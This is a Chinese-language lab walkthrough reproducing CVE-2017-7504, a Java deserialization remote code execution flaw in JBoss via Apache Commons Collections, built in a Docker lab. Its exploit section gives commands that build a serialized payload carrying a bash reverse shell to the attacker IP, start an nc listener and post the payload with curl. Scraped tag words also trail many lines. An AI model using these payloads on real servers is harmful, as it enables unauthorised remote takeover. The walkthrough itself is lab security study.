前言:php
序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。html
Java中的ObjectOutputStream類的writeObject()方法能夠實現序列化,ObjectInputStream類的readObject()方法用於反序列化。java
問題的根源在於類ObjectInputStream在反序列化時,沒有對生成的對象的類型作限制。git
Apache Commons Collectionsgithub
是一個擴展了Java標準庫裏的Collection結構的第三方基礎庫,它提供了不少強有力的數據結構類型而且實現了各類集合工具類。docker
首先這個漏洞與CVE-2015-7501同樣,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。shell
差異在於CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet。數據庫
這次環境嘗試用docker搭建。ubuntu
靶機:bash
ip:192.168.112.132
操做系統:ubuntu18.0.4 LTS
攻擊機:
ip:192.168.112.133
操做系統:kali
1、環境搭建
1.docker的安裝參考
https://www.howtoing.com/ubuntu-docker
2.安裝完docker後,直接拉取vulhub的源碼。
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504
3.靶機啓動服務
執行以下命令啓動JBoss AS 4.0.5
docker-compose up -d
4.環境啓動後,地址爲http://192.168.112.132:8080/
至此,靶機部分完成。
2、exp準備:
用法實例:
1)javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
2)java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '/bin/bash -i>&/dev/tcp/192.168.112.133/4444<&1'
3)nc -lvvp 4444
4)curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
3、exploit
1) 選擇ExampleCommonsCollections1WithHashMap
,編譯並生成序列化數據:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java #編譯 java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.112.133/4444 0>&1"
#ser全稱serialize,序列化惡意數據至文件。
第一行命令執行完成後,將生成一個文件ExampleCommonsCollections1WithHashMap.class
第二行命令執行完成後,將生成一個文件ExampleCommonsCollections1WithHashMap.ser
2)發射:
將該文件做爲請求數據主體發送以下數據包:
curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
# --data-binary 意爲以二進制的方式post數據
反彈成功。
反彈shell也能夠使用工具中預置payload的文件——ReverseShellCommonsCollectionsHashMap.java
復現過程可參考:https://www.sec-note.com/2018/03/30/Jboss/
參考連接:
http://gv7.me/articles/2018/CVE-2017-7504/
https://www.jianshu.com/p/d265f9514f7d
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://security.tencent.com/index.php/blog/msg/97
https://www.cnblogs.com/ITEagle/archive/2010/04/10/1708989.html